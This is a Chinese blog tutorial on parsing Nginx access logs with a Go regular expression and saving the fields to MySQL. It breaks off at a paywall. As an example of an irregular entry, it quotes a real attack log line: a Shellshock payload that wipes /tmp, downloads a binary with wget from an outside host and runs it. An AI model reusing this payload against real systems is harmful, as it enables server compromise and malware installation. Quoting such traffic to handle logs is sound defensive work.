Go语言实战-nginx日志处理

最新推荐文章于 2022-04-19 01:11:09 发布

原创

最新推荐文章于 2022-04-19 01:11:09 发布 · 4.3k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#go #nginx #mysql

本文介绍使用Golang解析Nginx日志的方法，包括如何通过正则表达式提取标准及异常日志信息，并将这些信息存入MySQL数据库。

上一篇文章已经介绍了golang对mysql的简单操作，那现在处理好的nginx数据就存放到MySQL中。

nginx日志格式

// ip地址          访问时间                    访问方式  访问路径           协议    状态码 数据大小  referer  user-agent
// 87.26.2.130 - - [24/Oct/2020:14:40:21 +0800] "POST /editBlackAndWhiteList HTTP/1.1" 404 146 "-" "ApiTool"

对应的正则表达式

// 每行nginx格式：ip 访问时间 访问方式 访问路径 协议 状态码 数据大小 referer user-agent
	re := `^([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}) - - \[(.*)\] "([^\s]+) ([^\s]+) ([^\s]+?)" ([\d]{3}) ([\d]{1,9}) "([^"]*?)" "([^"]*?)"`

成功提取后，存放的结构体

type LogsInfo struct {
	Ip        string
	Time      int64
	Method    string
	Path      string
	Protocol  string
	Status    int
	Size      int
	Referer   string
	UserAgent string
}

这些是能按正常nginx格式提取的数据，但总有些不正的访问

156.96.155.229 - - [16/Nov/2020:17:34:42 +0800] "GET / HTTP/1.1" 200 3196 "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo /tmp/China.Z-eckr\xA8 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\x22" "() { :; }; /bin/bash -c \x22rm -rf /tmp/*;echo wget http://houmen.linux22.cn:123/houmen/linux223 -O

最低0.47元/天解锁文章